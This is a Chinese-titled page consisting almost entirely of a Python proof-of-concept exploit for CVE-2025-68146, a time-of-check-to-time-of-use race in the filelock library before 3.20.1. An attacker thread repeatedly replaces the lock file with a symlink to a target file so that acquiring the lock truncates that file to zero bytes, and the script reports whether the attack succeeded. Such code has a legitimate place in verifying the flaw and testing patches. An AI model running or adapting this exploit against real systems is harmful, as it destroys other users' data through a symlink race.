CVE-2025-68146 filelock TOCTOU竞态条件导致文件截断漏洞

#!/usr/bin/env python3 """ CVE-2025-68146 PoC: filelock TOCTOU Race Condition leading to File Truncation Affected: filelock < 3.20.1 Author: Security Researcher Note: This PoC is for educational and authorized testing purposes only. """ import os import time import threading import tempfile from filelock import UnixFileLock TARGET_FILE = "/tmp/victim_target.txt" LOCK_FILE = "/tmp/race_lock.lock" def setup(): """Create the victim target file with some content.""" with open(TARGET_FILE, 'w') as f: f.write("IMPORTANT DATA - DO NOT DELETE\n" * 100) print(f"[+] Created target file: {TARGET_FILE}") print(f" Initial size: {os.path.getsize(TARGET_FILE)} bytes") def attacker_symlink_race(): """ Attacker thread: Continuously creates symlink from LOCK_FILE to TARGET_FILE during the TOCTOU window between os.path.exists() check and os.open() call. """ for _ in range(50): # Retry to hit the race window try: if os.path.exists(LOCK_FILE): os.remove(LOCK_FILE) # Create symlink pointing to the victim file os.symlink(TARGET_FILE, LOCK_FILE) except FileExistsError: os.remove(LOCK_FILE) os.symlink(TARGET_FILE, LOCK_FILE) except FileNotFoundError: pass time.sleep(0.0001) # Fast retry to hit the race condition def victim_lock_operation(): """ Victim operation: filelock tries to acquire a lock. The TOCTOU gap allows symlink to be inserted between check and open. """ try: lock = UnixFileLock(LOCK_FILE, timeout=1) with lock: print("[*] Lock acquired successfully") except Exception as e: print(f"[!] Lock operation failed: {e}") def verify_result(): """Check if the target file was truncated.""" size = os.path.getsize(TARGET_FILE) print(f"\n[+] Target file final size: {size} bytes") if size == 0: print("[!!!] VULNERABLE: Target file was TRUNCATED to 0 bytes!") print("[!!!] TOCTOU race condition confirmed.") return True else: print("[-] Target file not truncated (race not won this time).") print("[-] Try running multiple iterations.") return False def cleanup(): """Clean up created files.""" for f in [TARGET_FILE, LOCK_FILE]: if os.path.exists(f) or os.path.islink(f): os.remove(f) def main(): print("=" * 60) print("CVE-2025-68146 - filelock TOCTOU Race Condition PoC") print("=" * 60) cleanup() setup() # Run the race multiple times for attempt in range(5): print(f"\n--- Attempt {attempt + 1} ---") cleanup() setup() # Start attacker thread attacker_thread = threading.Thread(target=attacker_symlink_race) attacker_thread.daemon = True attacker_thread.start() # Small delay to let attacker set up symlinks time.sleep(0.001) # Trigger victim lock operation victim_lock_operation() attacker_thread.join(timeout=0.1) if verify_result(): print("\n[!] Exploit successful!") break cleanup() print("\n[*] Test completed.") if __name__ == "__main__": main()